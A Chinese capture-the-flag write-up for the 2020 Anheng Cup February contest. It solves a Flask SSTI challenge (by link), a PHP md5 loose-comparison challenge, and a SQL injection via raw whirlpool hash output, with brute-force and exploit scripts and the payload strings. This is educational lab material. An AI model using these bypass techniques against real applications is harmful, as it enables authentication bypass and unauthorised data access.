2020安恒杯二月月赛wp

easyflask

过滤了._

http://www.gtfly.top/2020/02/27/Flask-SSTI-payload.html

EASY-HASH

根据去年掘安杯的题改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
highlight_file(__FILE__);
error_reporting(0);
$val1 = @$_GET['val1'];
$val2 = @$_GET['val2'];
$val3 = @$_GET['val3'];
$val4 = @$_GET['val4'];
$val5 = (string)@$_POST['val5'];
$val6 = (string)@$_POST['val6'];
$val7 = (string)@$_POST['val7'];
if( $val1 == $val2 ){
die('val1 OR val2 no no no');
}
if( md5($val1) != md5($val2) ){
die('step 1 fail');
}
if( $val3 == $val4 ){
die('val3 OR val4 no no no');
}
if ( md5($val3) !== md5($val4)){
die('step 2 fail');
}
if( $val5 == $val6 || $val5 == $val7 || $val6 == $val7 ){
die('val5 OR val6 OR val7 no no no');
}
if (md5($val5) !== md5($val6) || md5($val6) !== md5($val7) || md5($val5) !== md5($val7)){
die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_alnum($a)) || (strlen($a) > 5) || !(ctype_alnum($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}

if ((strlen($m) > 1) || (strlen($n) > 1))
{
echo "m OR n fail";
die();
}

$val8 = md5($a);
$val9 = strtr(md5($b), $m, $n);

echo PHP_EOL;
echo "<p>val8 : $val8</p>";
echo PHP_EOL;
echo "<p>val9 : $val9</p>";
echo PHP_EOL;
if (($val8 == $val9) && !($a === $b) && (strlen($b) === 5))
{
echo "nice,good job,give you flag:";
echo file_get_contents('/var/www/html/flag.php');
}

这次限定m和n只有1位(上次做完这道题就说可以这样改加大难度。。),而且a和b可以为字母和数字的组合,那么爆破这样的组合,找到满足md5后为0e开头且剩下的字符串只有一种字母/没有字母

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import string
import itertools
import hashlib

dic = string.ascii_lowercase + string.ascii_uppercase + string.digits

time = 0
for n in itertools.permutations(dic, 5):
print('trying', time)
time += 1
i = ''.join(n)
li = [0] * 26
count = 0
strs = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if strs[:2] == '0e':
for j in strs[2:]:
if ord(j) >= 97:
li[ord(j)-97] += 1
for k in li:
if k != 0:
count += 1
if count < 1:
print(i)
break

传值

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = 'http://183.129.189.60:10004/?val1[]=1&val2[]=2&val3[]=3&val4[]=4&m=a&n=1'

file1 = open('out_test_000.txt', 'rb').read()
file2 = open('out_test_001.txt', 'rb').read()
file3 = open('out_test_002.txt', 'rb').read()

data = {'val5':file1, 'val6':file2, 'val7':file3, 'a':'byGcY', 'b':'aOtm2'}

s = requests.post(url, data)
print(s.text)

HashIsTrue

描述:

注意如下题目内容:
$pw = hash("whirlpool",$pass,true); 
$sql = "select * from user where username='$user' and password='$pw'";

hash函数的第三个参数为true,那么会返回一个原始二进制字符串,那么可能会出现单引号等特殊字符

这里只需要构造'=',这样会执行:

select * from user where username='$user' and password='xxx'='yyy'

mysql运算符的优先级为:

= 优先于 and,and 优先于 or

1.那么第一步会执行:

password='xxx'

不相等,会得到一个0

2.第二步执行:

0 = 'yyy'

这里执行了弱比较,会将右边的字符串转为数字,如果不以数字开头则为0,那么结果为true。这样便绕过了password

只需爆破出经hash后含有'='的字符串,这里贴一下114师傅的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$i=0;
while(1){
#echo "$i\n";
$t = hash("whirlpool",strval($i),True);

#if(strpos($t,"'||'")||strpos($t,"'or'")){
#if(strpos($t,"'||1#")||strpos($t,"'or1#")){
if(strpos($t,"'='")){
echo $i."\n";
echo $t."\n";
#die('');
}
$i++;
}

得到:

364383

参考:

https://www.blue-lotus.net/codegate2013-web100-writeup/

https://www.gem-love.com/ctf/1799.html